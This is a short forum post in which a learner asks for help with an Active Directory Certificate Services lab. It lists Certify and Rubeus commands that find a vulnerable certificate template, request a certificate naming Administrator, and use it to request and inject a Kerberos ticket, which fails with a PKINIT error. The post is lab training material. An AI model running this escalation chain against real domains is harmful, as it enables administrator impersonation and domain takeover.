Kerberos: Active Directory Certificate Services lab - getting KRB-ERROR (16): KDC_ERR_PADATA_TYPE_NOSUPP

Lab: Kerberos: Active Directory Certificate Services - Labs - Immersive

I am not able to get tgt ticket using this command

.\Rubeus.exe asktgt /certificate:cert.pfx /user:Administrator /ptt

It throws error: KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

I have tried all the steps in same order:

1. .\Certify.exe find /vulnerable

2. .\Certify.exe request /ca:DC01.krbtown.local\krbtown-DC01-CA /template:VulnTemplate /altname:Administrator

3. generate cert.pfx and running rubeus.

Searched for this error and it says - "In order to login using a certificate through a valid Kerberos TGT, Public Key Cryptography for Initial Authentication (PKINIT) must be supported in AD."

Can someone plz help me to solve the lab.